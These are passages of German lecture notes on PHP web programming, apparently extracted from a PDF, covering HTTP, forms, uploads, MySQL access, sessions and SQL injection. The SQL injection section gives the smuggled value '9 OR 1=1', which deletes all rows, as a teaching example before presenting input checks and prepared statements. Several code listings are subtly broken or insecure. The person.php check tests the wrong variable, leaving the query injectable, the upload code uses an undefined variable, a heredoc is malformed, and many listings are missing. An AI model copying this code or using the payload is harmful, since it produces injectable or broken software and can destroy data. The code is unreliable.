Die wichtigsten Statuscodes sind 200 (ok), 404 (not found), 403 (forbidden).
Header-Zeilen gibt es sehr viele; relativ wenige davon werden von Clients und Servern wirklich be-
achtet.
kuments
Wie können Sie HTTP beobachten? Entweder mit einem allgemeinen Netzwerk-Sniffer wie Ethe-
real/Wireshark3 oder mit der Firefox-Extension Live HTTP Headers4.
Abbildung 11: HTTP abhören mit Wireshark (links) und Live HTTP Headers (rechts)
3
http://www. wireshark. org/
4
http://livehttpheaders. mozdev. org/
MMT Webprogrammierung 2 31
Die Methode GET wird bei den meisten HTTP-Anfragen verwendet - sowohl bei normalen Links als
auch beim Senden von Formulardaten mit GET. Die URL kann dabei ein Fragezeichen gefolgt von
Parametern und Werten enthalten.
HTTP/1.0 200 OK
Date: Sat, 27 Apr 2002 05:52:57 GMT
Server: Apache/1.3.9 (Unix) Debian/GNU
Content-Type: text/html
Die Länge der übertragenen Daten aus dem Formular ist hier begrenzt durch die Länge der URL. Für
größere Datenmengen (z. B. beim Upload von Dateien) gibt es die Methode Post.
Die Header, die mit Accept beginnen, können (laut Standard) dem Aushandeln von Sprache, Datentyp, Enco-
ding dienen; werden aber von Servern und Clients nur teilweise beachtet.
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 bedeutet laut Standard, daß der Client das Do-
kument lieber als HTML als als Plain Text erhalten würde. Im realen Web wird aber unter einer URL immer nur
ein Dokumententyp angeboten. Wenn man eine PDF-Version der gleichen Information anbietet, dann ge-
Accept-Language würde dem Aushandeln der Sprache dienen. Dazu müssten die UserInnen aber im Browser
Da aber kaum jemand diese Konfiguration vornimmt wird die Sprach-Aushandlung kaum verwendet.
Einziges mir bekanntes Beispiel einer Webseite die unter der gleichen URL in verschiedenen Spra-
chen erhältlich ist ist die Homepage von Debian:
Abbildung 13: Homepage von Debian, verschiedene Sprachen bei gleicher URL
Bei POST werden die Daten aus dem Formular nicht in der URL, sondern im HTTP-Body der Anfrage
übertragen. Die Codierung (kaufmännisches-Und zwischen den namen=wert-Paaren, + statt Leerzei-
chen, %-Schreibweise für Sonderzeichen) bleibt gleich. Hier gibt es keine Beschränkung der Länge.
no=20&limit=1&katalog=all&isbn=&nachname=Jellinek&vornam
e=&titel=&schlagwort1=&schlagwort2=&Bool=AND&verl=&von=&
bis=&submit=SUCHE
Die Antwort des Servers unterscheidet sich nicht zwischen GET und POST (außer Sie haben das in
PHP absichtlich so programmiert).
MMT Webprogrammierung 2 33
Mit dem Statuscode 301 kann der Server anzeigen, dass die Seite an eine neue URL übersiedelt ist.
Der Webbrowser schickt dann sofort eine Anfrage an die neue URL, die LeserIn bemerkt so eine Wei-
terleitung meist gar nicht.
(Wie auf Seite 25 beschrieben, können Sie diese Umleitung von PHP aus mit dem header-Befehl aus-
lösen)
Client an Server
Server an Client
GET / HTTP/1.1
Host: www.rezensionen.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66
und so weiter.
MMT Webprogrammierung 2 34
Der Webserver kann so konfiguriert werden, dass er Dokumente nur nach Eingabe von Username
und Passwort liefert. Der Browser zeigt dafür ein Eingabefenster an:
Falls eine Authentisierung über diese Methode stattgefunden hat, finden Sie den Usernamen in PHP
in der Variable $_SERVER['PHP_AUTH_USER'].
Auf Ebene des HTTP-Protokolls betrachtet funktioniert diese Authentisierung wie folgt: bei der ersten
Anfrage des Clients schickt der Server einen Status-Code 401 (nicht autorisiert).
Client an Server
Server an Client
GET /pr/ HTTP/1.1
Host: www.sbg.ac.at
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1
Accept-Language: de-at, de;q=0.66, en-us;q=0.33
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66
HTTP/1.0 401 Unauthorized
Date: Sat, 27 Apr 2002 06:05:08 GMT
Server: Apache/1.3.22 (Unix)
WWW-Authenticate: Basic realm="unineu"
Content-Type: text/html; charset=iso-8859-1
Daraufhin zeigt der Browser das Passwort-Eingabefenster an. Nach Eingabe von Username und Pass-
wort schickt der Browser die gleiche Anfrage erneut, diesmal aber mit der zusätzlichen Header-Zeile
Authorization. In dieser Zeile werden Username und Passwort (leicht verschlüsselt) mitgeschickt.
Wenn Username und Passwort stimmen, schickt der Server eine positive Antwort und das Dokument.
MMT Webprogrammierung 2 35
Der Browser wird bei allen weiteren Anfragen an diesen Server ebenfalls die Authorization-Zeile mit-
schicken.
<html lang="de">
<head>
<title>Universität Salzburg - Büro für Public
Relations</title>
2.3.8 HTTPS
HTTPS ist HTTP über Secure Socket Layer (SSL) — d.h. auf Ebene der TCP-Verbindung werden alle
übertragenen Daten verschlüsselt. Außerdem bietet SSL die Möglichkeit, dass sich der Server und der
Client mit einem Zertifikat ausweisen.
Ob HTTPS oder HTTP verwendet wird, hängt von der Konfiguration des Server ab. Wenn Sie nur
Webspace in „Untermiete“ benutzen (wie auf multimediatechnology.at), können Sie HTTPS nicht
aktivieren.
Die Verschlüsselung und Entschlüsselung des gesamten Verkehrs braucht CPU-Zeit — der Webserver
kann also weniger Anfragen bedienen als mit HTTP. Eine Möglichkeit diese Belastung vom Webserver
„fernzuhalten“ ist die Terminierung von SSL auf einem anderen Rechner.
2.3.9 Proxies
Das HTTP-Protokoll sieht die Möglichkeit von Proxies vor. Ein Proxie ist eine „Zwischenstation“ die
HTTP-Verkehr weitergibt, der Proxy agiert also auf der einen Seite als HTTP-Server, auf der anderen
Seite als HTTP-Client. Im Browser kann ein Proxie konfiguriert werden:
MMT Webprogrammierung 2 36
Ist ein Proxy konfiguriert dann baut der Browser die HTTP-Verbindung nicht direkt zum Zielrechner
auf, sondern zum Proxy, und verändert die Form der ersten Zeile der HTTP-Anfrage: die vollständige
URL wird angegebe:
Proxies können gleichzeitig als Cache fungieren: Anfragen und Antworten werden gespeichert; er-
folgt die gleiche Anfrage noch einmal, kann die gespeicherte Antwort verwendet werden.
Sie können bereits HTML-Formular erstellen und wissen wie bei Verwendung der Methode GET aus
den Daten eine URL konstruiert wird:
http://localhost/php/test.php?anzahl=4&adresse=Jakob+Haringer+Str.1%0D%0A5020+Salzburg
Sie wissen auch, dass das Webformular nicht notwendig ist um diese GET-Anfrage zu erzeugen. Die
Google-Suche nach „Schokolade“ hat folgende URL:
http://www.google.com/search?q=Schokolade
Sie können diese URL einfach direkt in den Browser eintippen, ohne das Eingabeformular von Google
zu verwenden. Sie können diese URL in den Lesezeichen/Favoriten Ihres Browsers speichern oder in
einem Link verwenden:
Wenn Sie eine Web-Applikation erstellen müssen Sie auch darauf gefasst sein, dass die UserInnen
nicht nur die Web-Formulare verwenden sondern auch URLs konstruieren und aufrufen.
MMT Webprogrammierung 2 37
Bei Verwendung der Methode GET werden die gesamten Daten in der URL codiert. Dadurch ergibt
sich eine Beschränkung der Datenmenge: Webserver verarbeiten nur URLs bis zu einer bestimmten
Länge. Die Methode POST umgeht diese Beschränkung. Dabei werden die Daten gleich codiert wie
bei GET, aber im Body des HTTP-Requests gesendet.
POST ermöglicht damit das Einsenden von ganzen Dateien, dabei muss auch noch das enctype Att-
ribut des Form-Tags gesetzt werden:
Der Input-Tag mit dem Typ „file“ wird vom Browser als Textfeld plus Button dargestellt. Wird der
Button gedrückt dann erscheint ein Datei-Auswahl-Dialog, wie in Abbildung 16 gezeigt.
Die Daten aus einem Web-Formular werden vom PHP-Interpreter verarbeitet, die URL-Codierung
aufgelöst und die Daten dann in mehreren superglobalen5 Arrays zur Verfügung gestellt:
5
Superglobal bedeutet, dass diese Variablen auch ohne global innerhalb von Funktionen sichtbar
sind
MMT Webprogrammierung 2 38
$_REQUEST Dieses Array kombiniert die Daten aus $_GET und $_COOKIE und $_POST. Besser
die spezifischen Arrays verwenden!
Warnhinweis: In frühen PHP Versionen konnte man noch direkt die Variable $nr verwenden um den
Wert aus einem Eingabefeld <input name="nr" /> zu lesen — das funktioniert heute nicht mehr!
<?php
$anzahl = $_GET['anzahl'];
$adresse = $_GET['adresse'];
Dabei wird aber die Eingabe nicht geprüft. Eine bessere Version des Programmes prüft vorher jede
Eingabe und gibt entsprechende Fehlermeldungen aus:
<?php
$anzahl = $_GET['anzahl'];
$adresse = $_GET['adresse'];
$ok = true; // zeigt ob alle Eingaben ok sind
$fehler = array(); // sammelt alle Fehlermeldungen
if( (int) $anzahl != $anzahl or $anzahl < 1) {
$ok = false;
$fehler[] = "Bitte geben Sie die Anzahl der Flugzeuge ein!";
}
if( strlen( $adresse ) < 5 ) {
$ok = false;
$fehler[] = "Bitte geben Sie die vollständige Lieferadresse an!";
}
if ( ! $ok ) {
echo("<p>Ihre Bestellung kann derzeit nicht bearbeitet werden:</p>");
echo("<ol>");
foreach( $fehler as $fehler_text ) {
echo("<li>$fehler_text</li>");
}
echo("</ol>");
echo("<p>Bitte gehen Sie zurück und bessern Sie die Bestellung aus.");
}
else {
echo("<p>Ihre Bestellung über $anzahl Flugzeuge ist eingelangt</p>");
echo("<p>Die Flugzeuge werden binnen 1 Monat an $adresse geliefert</p>");
}
?>
MMT Webprogrammierung 2 39
Die Verarbeitung von hochgeladenen Dateien ist wesentlich komplizierter: Die Dateien werden vom
PHP-Interpreter temporär gespeichert. Das PHP-Programm kann die Dateien dann an einen perma-
nenten Speicherort kopieren (falls das die Zugriffsrechte erlauben)
Die Details zu den Hochgeladenen Dateien sind im Array $_FILES gespeichert, in folgendem Beispiel
hatte das Eingabefeld den Namen „bild“:
$_FILES['bild']['type'] Der „Mime Type“ der Datei – falls der Browser diese In-
formation liefert. Zum Beispiel „image/gif“. Achtung: nicht
zuverlässig!
<?php
$uploaddir = '/home/urstein/stud/0/fhs30000/public_html/uploadtest/img/';
$filename = basename($_FILES['bild']['name']);
$ext = substr($filename, -4);
if (move_uploaded_file($_FILES['bild']['tmp_name'], $uploadfile)) {
echo "Datei erfolgreich hochgeladen nach <a href='img/'>img/</a>\n";
} else {
echo "Problem beim Speichern der Datei.\n";
}
?>
Achtung: Sie müssen den Ordner img erstellen und ihm geeignete Zugriffsrechte zuweisen, damit der
Webserver (= ein anderer Account) hinein-schreiben darf!
MMT Webprogrammierung 2 40
mail(
"bjelli@horus.at",
"Just another SPAM",
"Das ist der Text in der E-Mail"
);
Dazu passend wieder der Trick, wie man viel Text in einen langen String schreiben kann:
$text <<<Ende
Lieber Newsletter-Kunde!
wir freuen uns, dass Sie unseren
Newsletter zum Thema $thema
abonniert haben.
Ende;
mail("bjelli@horus.at", "Just another $thema-Newsletter", $text);
Wie die Mail vom PHP-Interpreter versandt wird, ist in der PHP- Konfiguration festgelegt. Die Konfi-
gurations-Datei hat den Namen php.ini. Wenn man PHP auf dem eigenen Computer betreibt, kann
man den SMTP-Server des Providers eintragen um die ausgehende Mail über diesen Server zu
versenden:
;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[mail function]
SMTP = mail.provider.at
sendmail_from = someuser@fh-salzburg.ac.at
Der Befehl phpinfo() gibt die ganze Konfiguration von PHP aus. Hier kann man auch die Mail-
Konfiguration nachlesen:
3.1 Ziele
• Wie Sie von PHP aus auf Ihre MySQL-Datenbank zugreifen können: Aufbau der Verbindung,
query, fetch, Beenden der Verbindung.
• Dass das Filtern der Daten in der Datenbank passieren sollte und möglichst wenige Daten
nach PHP übertragen werden sollten.
MySQL ist die relationale Datenbank, die bei gemietetem Webspace am öftesten angeboten wird.
Hier wird nicht die Funktionsweise einer relationalen Datenbank erklärt (siehe Lehrveranstaltung im
1.Semester), sondern nur die Besonderheiten von MySQL und die für Web-Applikationen wichtigen
Aspekte.
MySQL ist im Paket XAMPP enthalten. (Man könnte die Datenbank auch separat von mysql.com her-
unterladen und installieren.) In der Standardinstallation ist ein Administrator-Account „root“ ohne
Passwort vorhanden. Die MySQL-Shell wird wie folgt gestartet:
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
Das Passwort lautet „geheim!“. Die weiteren Code-Beispiele sind alle ein bisschen gekürzt.
MMT Webprogrammierung 2 43
Die Details zu SQL in MySQL (Abweichungen vom Standard, Erweiterungen) kann man der Dokumen-
tation entnehmen die Online unter http://dev.mysql.com/ erreichbar ist.
MMT Webprogrammierung 2 44
Ein häufig verwendetes Tool ist der phpMyAdmin, der ein Interface am Web zur Verfügung stellt. Am
gemeinsamen MMA/MMT-Server ist er unter der Adresse https://multimediaart.at/phpmyadmin/ zu
finden.
Über phpMyAdmin kann man viele SQL-Abfragen durch Point+Klick formulieren. Das lehrreiche daran:
phpMyAdmin zeigt immer das SQL-Statement mit an — auf diese Art kann man einfach SQL lernen.
Besonders praktisch ist das beim Anlegen und Verändern von Tabellen. Erster Schritt: Name der Ta-
belle:
MMT Webprogrammierung 2 45
Um von PHP auf die Datenbank zuzugreifen gibt es verschiedene Schnittstellen. Hier wird die „MySQL
Improved Extension“ (myslqi) vorgestellt.
<?
$db = mysqli_connect ("localhost", "username", "passwort", "datenbank")
or die ("Kein Zugriff auf die Datenbank mit dem Namen mmt");
echo ("Zugriff zur Datenbank OK");
mysqli_close($db);
echo ("Verbindung zur Datenbank wieder beendet");
?>
Es gibt noch keinen tollen Output - wir haben bisher nur eine Verbindung zur Datenbank, aber haben
noch keine Daten abgefragt.
Eine Abfrage aus der Datenbank liefert eine ganze Tabelle von Daten (mehrere Datensätze). Man
braucht also eine Schleife um alle Datensätze abzuarbeiten. Innerhalb der Schleife erhält man den
einzelnen Datensatz als Array.
Betrachten Sie folgenden Code und finden Sie die Verbindung zur Datenbank: Wo sehen Sie den Na-
men der Tabelle? Die Namen der Spalten?
MMT Webprogrammierung 2 46
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 LIMIT 1,10" );
while($person = mysqli_fetch_array($ergebnis)) {
echo($person["vorname"]);
echo("<br />");
}
Ein ganz wichtiges Grundprinzip beim Programmieren mit Datenbanken: Das Filtern und Berechnen
der Daten möglichst in der Datenbank erledigen und möglichst wenige Daten zu PHP übermitteln.
Folgender Ansatz wäre also ganz schlecht, besonders wenn viele Daten in der Datenbank sind:
Zu diesem Prinzip gehört auch die konsequente Verwendung der richtigen Datentypen in der Daten-
bank: zum Speichern eines Datums also DATE verwenden, das ermöglicht das Sortieren nach Datum
und Berechnungen wie „falls datum nicht älter als 100 Tage alt ist“
select titel,pub_datum from werk where datediff( curdate( ) , pub_datum ) <= 100;
Zeigt Titel und Publikations-Datum aller Werke die in den letzten 100 Tagen publiziert wurden.
Am Beispiel einer Mini-Applikation lernen Sie nun den typischen Aufbau einer solchen Applikation
kennen. Sie brauchen aber auf jeden Fall Webspace und eine eigene Datenbank auf dem MMT-
Server. Falls Sie das noch nicht haben bestellen Sie bei Yafes Sahin über die Webseite:
https://multimediatechnology.at/home/wunschdomain.php
Als Datenbank können Sie für die ersten Schritte die Datenbank des MMA Portfolios verwenden (Da-
tenbankname = mma). Diese Datenbank ist für Sie alle am MMT-Server zugänglich und enthält schon
viele Daten. Zugangsdaten siehe Kapitel 3.2.1.
Die folgende Tabelle zeigt alle (geplanten) Seiten der Applikation im Überblick. Zu Jeder Seite wird
der Titel angeführt (wird auf der Seite angezeigt), der Dateiname der Seite (wichtig für die Verlin-
kung), eventuell notwendige Parameter und eine Beschreibung was die Seite anzeigt.
Details person.php pid Zeigt Details zu einer bestimmten Person an: Anzahl der
zu einer (Schlüssel Werke und Username
Person der Person)
Details werk.php wid Zeigt Details zu einer bestimmten Werk an: Titel, Datum
zu einem (Schlüssel der Publikation, eventuell eine Liste der Beteiligten Perso-
Werk des Werks) nen und ihrer Rollen
Jede einzelne Zeite ist – wie in Kapitel 1.2.2 beschrieben – mit Hilfe von includes aufgebaut. Dabei
werden immer die Dateien functions.php (mit der Datenbank-Verbindung) header.php und foo-
ter.php inkluidert.
<?php
include "functions.php";
include "header.php";
include "footer.php";
?>
In der Datei werke.php finden Sie ein Beispiel für die Auflistung von mehreren Datensätzen:
In der Datei home.php finden Sie zwei Beispiele für das Lesen einzelner Daten. Mit der SQL-Funktion
COUNT() wir die Anzahl der Werke in der Datenbank bestimmt.
Wenn Sie die Datei person.php mit einem Parameter aufrufen person.php?pid=586 soll eine bestimm-
te Person aus der Datenbank angezeigt werden. Dafür wird der Parameter aus dem $_GET – Array
ausgelesen und sicher gestellt, dass es sich wirklich um eine Zahl handelt.
In der Datenbank sind Personen, deren Profil nicht angezeigt werden soll, mit ifshow=0 gekennzeich-
net. Im SQL-Statement wird sicher gestellt, dass nur sichtbare Personen angezeigt werden. Das Er-
gebnis der Abfrage kann also sein, dass keine Person gefunden wurde – entweder weil unter diesem
Schlüssel gar keine gespeichert ist, oder weil ifshow=0 ist. In diesem Fall gibt mysqli_fetch_array kein
Array sondern der Wert FALSE zurück.
MMT Webprogrammierung 2 49
$pid = $_GET['pid'];
if( (int) $anzahl != $anzahl ) {
echo("Error !");
}
else {
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 AND pid=$pid" );
$person = mysqli_fetch_array($ergebnis);
if( $person == FALSE ) {
echo "<p>Konnte keine passenden Daten aus der Datenbank lesen.</p>";
}
else {
// Darstellung der Person
}
}
Die Darstellung der einzelnen Person ist noch nicht fertig programmiert: der Username wird zwar
angezeigt, aber nicht die Anzahl der Werke der Person. Das müssen Sie selbst ausprogrammieren.
Für die Ausgabe des HTML-Codes wird die Heredoc-Schreibweise6 verwendet um die Ausgabe von
Variablen und die Verwendung von Anführungszeichen kombinieren zu können.
if( $person['isfemale'] ) {
$anrede = "Frau";
$ersie = "Sie";
} else {
$anrede = "Herr";
$ersie = "Er";
}
echo <<<EOM
EOM;
In der Datei personen.php wird zu jeder Person ein passender Link zu person.php angezeigt:
echo <<<EOM
<li>
<b>$person[vorname] $person[nachname]</b>
<a href="person.php?pid=$person[pid]">mehr</a>
</li>
EOM;
Achtung: diese Verlinkung schützt nicht davor, dass böse User einfach eine URL mit ganz andere pid
„von Hand“ eingeben!
http://multimediatechnology.at/~bjelline/mini/person.php?pid=666
In der Datei werke.php fehlt eine entsprechende Verlinkung zu werk.php. Diese Verlinkung und die
Implementierung von werk.php müssen Sie selbst noch ergänzen.
6
http://at.php.net/manual/de/language.types.string.php#language.types.string.syntax.heredoc
MMT Webprogrammierung 2 50
In der Datei psuche.php wird ein Formular zur Suche nach Vornamen angezeigt:
Wir werden uns später noch genauer mit der Sicherheitsproblematik von SQL-Statements befassen,
die teilweise aus User-Input entstehen. Noch ignorieren wir die Problematik und schreiben einfach:
Eine entsprechende Suche nach Werken unter dem Titel wsuche.php müssen Sie erst selbst imple-
mentieren.
3.3.5 Bilanz
Sie können nun eine Web-Applikation erstellen, die Daten aus der Datenbank liest. Der nächste logi-
sche Schritt ist das Schreiben in die Datenbank mit INSERT-Statements. Damit werden wir uns im
nächsten Kapitel befassen.
MMT Webprogrammierung 2 51
4.1 Ziele
• Wie Login / Logout mit Hilfe der Session realisiert werden kann
• Wie Daten aus der Datenbank für HTML escaped werden müssen.
Bis jetzt war jeder Zugriff auf die Webapplikation unabhängig von jedem anderen Zugriff: die PHP-
Applikation weiß nicht, ob 10 verschiedene Leute die Homepage abrufen oder ob eine Person die
Seite 10mal lädt.
Das ist eine Grundeigenschaft von HTTP: es ist „stateless“ (im Gegensatz zu „statefull“).
Also kann man mit HTTP alleine – wie wir es bisher kennen – kein „Login“ schaffen. Um zu wissen,
dass ein User eingeloggt ist müsste er ja „wiedererkannt“ werden. Genau das macht den „state“ aus.
4.2.1 Cookies
Um das zu ermöglichen wurde das HTTP-Protokoll um die sogenannten „Cookies“ erweitert: Ein Coo-
kie besteht aus bis zu 4096 Bytes Daten, die der Webbrowser lokal speichert, und bei jedem Zugriff
auf den Webserver wieder mitsendet. Der Browser sendet nie ein Cookie an einen anderen Webser-
ver als den von dem er es erhalten hat. Er kann aber viele verschiedene Cookies von verschiedenen
Servern speichern (In einem Cookie-Jar).
Abbildung 22: Cookie wird gesetzt und bei jedem weiteren Request gesendet
An Hand dieses Cookies kann eine Webapplikation einen bestimmten User wiedererkennen. Cookies
können vom Server gesetzt werden, mit dem HTTP-Header Set-Cookie. Dabei wird der Name des
Cookies angegeben, der Wert der gespeichert werden soll, und der Gültigkeitsbereich und Zeitraum:
MMT Webprogrammierung 2 53
Set-Cookie: style=gelb
Set-Cookie: style=gelb; path=/admin/
Set-Cookie: style=gelb; expires=Tue, 29-Mar-2015 19:30:42 GMT; path=/admin/
Die einzige Art ein Cookie zu löschen ist ein Cookie mit gleichem Namen und Ablaufdatum in der
Vergangenheit zu setzen:
Cookies in PHP
In PHP finden Sie die bereits gesetzten Cookies, die vom Browser zurückgesendet wurden, im Array
$_COOKIES (und — zusammen mit GET und POST-Parametern — in $_REQUEST). Neue Cookies kön-
nen Sie mit setcookie() setzen.
Cookies in Javascript
Im Client können Cookies mit Javascript gelesen und geschrieben werden: über die Eigenschaft docu-
ment.cookie des Dokument-Objekts.
Achtung: beim lesenden Zugriff auf diese Eigenschaft enthält man einen String mit allen Cookies, die
gerade gültig sind.
Zum Setzen von neuen Cookies wird auf die Eigenschaft zugewiesen. Zum Setzen mehrere Cookies
wird wiederholt zugewiesen — das hat aber (noch) keinen Einfluß auf den Wert den man aus docu-
ment.cookie auslesen kann:
Erst wenn ein neuer Request an den Server erfolgt, werden die neu gesetzten Cookies mit gesendet:
erst wenn die Antwort wieder dargestellt wird, sind die neuen Cookies in Javascript über docu-
ment.cookie lesbar!
4.2.2 Session
PHP kann das Setzen des Cookies automatisch erledigen, und geht sogar noch einen Schritt weiter:
o …beim ersten Aufruf automatisch ein Cookie gesetzt. Wenn danach Daten im Array
$_SESSION Daten gespeichert werden, dann sorgt PHP dafür dass die Daten am Server per-
manent gespeichert werden, also beim nächsten Programmaufruf wieder zur Verfügung ste-
hen.
o …bei jedem weiteren Aufruf die Session an Hand des Cookies wieder identifiziert, und die Da-
ten wieder ins $_SESSION-Array geladen.
MMT Webprogrammierung 2 54
Für unsere Applikation werden wir das verwenden, um den Usernamen des angemeldeten Users zu
speichern. session_start() wird in functions.php ausgeführt, also bei jedem Aufruf einer der Seiten
der Applikation. Die Applikation zeigt direkt in der Navigationsleiste die Login/Logout-Möglichkeit
und den Namen des eingeloggten Users an:
Das Login-Formular sieht ganz einfach aus und sendet die Daten mit POST:
Username und Passwort werden überprüft, falls Sie passen wird der Username in der Session gespei-
chert:
Nach dem gelungen Login kann man jede beliebige Seite der Applikation aufrufen, immer wird im
Array $_SESSION der Username gespeichert sein. So kann er z.B. in der Navigation angezeigt werden
wie in Abbildung 23 gezeigt.
Das Logout ist etwas umständlich zu Programmieren: das Cookie, das von PHP gesetzt wurde, muss
man nun selbst löschen. Dazu wird das „Ablaufdatum“ des Cookies auf ein Datum in der Vergangen-
heit gesetzt, dann wird der Browser es löschen.
MMT Webprogrammierung 2 55
Achtung: das Setzen und Löschen der Session-Cookies dauert immer einen Request länger als ge-
dacht! Deswegen ist eine Weiterleitung wie hier mit Location: sinnvoll.
Achtung: die Weiterleitung funktioniert nur, wenn noch keine Ausgabe erfolgt ist, also vor dem La-
den der header-include-Datei. Hier am Beispiel von login:
<?php
$pagetitle = "Login";
include "functions.php";
$username = $_POST['username'];
$passwort = $_POST['passwort'];
include "header.php";
Eine Weiterleitung nach der Behandlung eines POST-Requests ist allgemein sinnvoll.
MMT Webprogrammierung 2 56
Um eine Web-Applikation auszuprobieren, die nicht nur Daten lesen, sondern auch Daten löschen
und in die Datenbank schreiben kann, brauchen Sie nun die eigene Datenbank – die Datenbank mma
reicht nicht mehr aus, dort haben Sie keine Schreibrechte.
Um Daten in die eigene Datenbank zu laden finden Sie die Datei mma-portfolio-simple.sql in der
ZIP-Datei. Über die Kommandozeile können Sie diese Daten in Ihre private Datenbank laden:
Danach können Sie die vorhandene Mini-Applikation so verändern, dass Sie auf Ihre eigene Daten-
bank zugreift. (Tipp: nur eine Zeile in einer Datei muss verändert werden!)
Person delete.php POST pid Löscht die Person mit der angegeben pid.
löschen
Person person_edit.php POST pid, vorname, Speichert neue Daten zur Person pid
nachname, profil,
bearbeiten
Das Löschen könnte so einfach sein: Ein Programm mit namen delete.php, das als Parameter die id
der Person erhält, die gelöscht werden soll:
$pid = $_POST['pid'];
mysqli_query($db, "DELETE FROM person WHERE pid=$pid" );
Dieses Programm ist anfällig für folgende Attacke: Ein Aufruf mit einem selbst gebastelten Formular
setzt den Parameter pid auf Wert „9 OR 1=1“
Und dieses Statement löscht nicht einen Datensatz sondern alle Datensätze. Diese Art von Attacke
auf eine Web-Applikation nennt man „SQL Injection“.
Dieses Problem kann vermeiden indem man die Eingabe genau überprüft. In diesem Beispiel also:
nur wenn es sich bei pid um eine ganze Zahl handelt, darf sie verwendet werde. Das wird hier mit
einer Regular Expression (die Sie noch nicht verstehen müssen) überprüft:
MMT Webprogrammierung 2 58
Der zweite Ansatz ist die Verwendung von „Prepared Statements“ in der Datenbank. Dabei wird der
SQL-Interpreter der Datenbank gänzlich umgangen.
Als erster Schritt wird mit prepare ein SQL-Statement mit Fragenzeichen als Platzhalter vorbereitet.
(Dieses SQL-Statement wird am Server schon mal geparsed und compiliert.) In einem zweiten Schritt
werden Daten an das Statement gebunden (bind), dabei muss man angeben ob es sich um einen
Integer-Wert (i), einen double-Wert (d) einen string(s) oder einen blob (b) handelt. Mit execute wird
dann das Statement ausgeführt.
Die Schritte 2 und 3 können auch mehrfach ausgeführt werden, das ist effektiver als ein normales
mysqli_query zu wiederholen.
Das funktioniert für viele Eingabe, aber was passiert wenn ein Werk den Titel „That’s it“ haben soll?
Dann wird folgendes SQL-Statement ausgeführt:
Das kann nicht funktionieren. Für dieses Problem gibt es in PHP eine einfache und falsche Lösung:
Normalerweise verändert PHP automatisch alle Daten die über GET, POST und Cookies hereinkom-
men: vor alle Anführungszeichen wird ein Backslash eingefügt. Aus „That's it“ wird also automa-
tisch „That\'s it“ , das SQL-Statement funktioniert wieder:
Diese Automatik ist unter dem Namen „magic_quotes“ bekannt und kann in der Apache- oder PHP-
Konfiguration abgeschalten7 werden. Auf dem MMT-Server ist sie generell ausgeschalten. Sie sollten
das auf Ihrem lokalen Apache-Server auch tun:
7
http://at.php.net/manual/de/security.magicquotes.disabling.php
MMT Webprogrammierung 2 59
Mit folgendem Programm können Sie testen ob auf dem Server magic quotes ein- oder ausgeschal-
ten sind:
(In Wirklichkeit kann man Sie nicht ganz abschlalten8, aber das ignorieren wir besser. Das Problem
betrifft nur Array-Parameter .)
Wenn die magic quotes abgeschalten sind kann man das SQL-Problem besser lösen: mit prepared
Statements. Hier am Beispiel eines neuen Werkes:
$stmt = mysqli_prepare($db,
"INSERT INTO person
(uid, vorname, nachname, profil, mail, web, blog, feed, title, isfemale, ifshow)
VALUES (?,?,?,?,?,?,?,?,?,?,?)");
mysqli_bind_param($stmt, 'sssssssssii',
$_POST['uid'],
$_POST['vorname'],
$_POST['nachname'],
$_POST['profil'],
$_POST['mail'],
$_POST['web'],
$_POST['blog'],
$_POST['feed'],
$_POST['title'],
$_POST['isfemale'],
$_POST['ifshow']
);
mysqli_stmt_execute($stmt); // noch ohne Fehlerbehandlung
Der letzte Befehl mysqli_stmt_execute($stmt) liefert einen Boolschen Wert zurück um den Erfolg
oder Misserfolg der gesamten SQL-Anfrage anzuzeigen. Falls ein Fehler auftritt kann man mit mysq-
li_error($db) die Fehlermeldung der Datenbank auslesen.
if ( ! mysqli_stmt_execute($stmt) ) {
echo("Fehler beim Speichern in der Datenbank: ");
echo(mysqli_error($db));
echo(" Bitte gehen Sie zurück zum Formular!");
exit;
}
Aber so weit sollten Sie es nicht kommen lasse: Sie sollten die Eingaben aus dem Webformular schon
vor dem INSERT prüfen und dann ausführliche, vollständige, deutsche Fehlermeldungen ausgeben.
8
http://at2.php.net/get_magic_quotes_gpc#49612
MMT Webprogrammierung 2 60
Falls das Einfügen der Daten funktioniert hat und in der Tabelle ein autoincrement-Feld als Primär-
schlüssel vorhanden ist, kann man den Wert des Schlüssels im neuen Datensatz auslesen und weiter
verwenden:
$pid = mysqli_insert_id($db);
header("Location: person.php?pid=$pid");
Auch hier ist eine Weiterleitung direkt nach dem POST-Request sinnvoll: nach dem Einfügen des Da-
tensatzes wird direct auf die Anzeige des neuen Datensatzes weitergeleitet. Falls man danach auf
„Reload“ drückt wird der Datensatz neu angezeigt, aber keinesfalls ein zweites Mal eingefügt.
Wir wollen einen Datensatz aus der Datenbank laden, in einem Formular zur Bearbeitung anbieten,
und dann wieder in der Datenbank speichern.
Das Lesen des Datensatzes aus der Datenbank erfolgt nun auch mit einem prepared Statement:
Bei der Darstellung des Bearbeitungs-Formulars werden die Daten nun als Standardwerte dargestellt.
Das passiert bei Textfeldern mit dem Value-Attribute und bei Textareas als Inhalt des Tags:
MMT Webprogrammierung 2 61
Achtung: Falls in den Daten Anführungszeichen, kaufmännische Unds oder Kleiner-Zeichen vorkom-
men müssen diese für HTML escaped werden. Hier ein Beispiel in MySQL:
// $pid muss man nicht escapen, das ist blos ein integer
$vorname = htmlspecialchars( $vorname );
$nachname = htmlspecialchars( $nachname );
$profil = htmlspecialchars( $profil );
echo <<<EOM
<form action="person_edit.php" method="post">
<input type="hidden" name="pid" value="$pid" />
<p><label for="vorname">Vorname</label> <input name="vorname" value="$vorname" /></p>
<p><label for="nachname">Nachname</label> <input name="nachname" value="$nachname" /></p>
<p><label for="profil">Profil</label>
<textarea name="profil" rows="7" cols="40" >$profil</textarea></p>
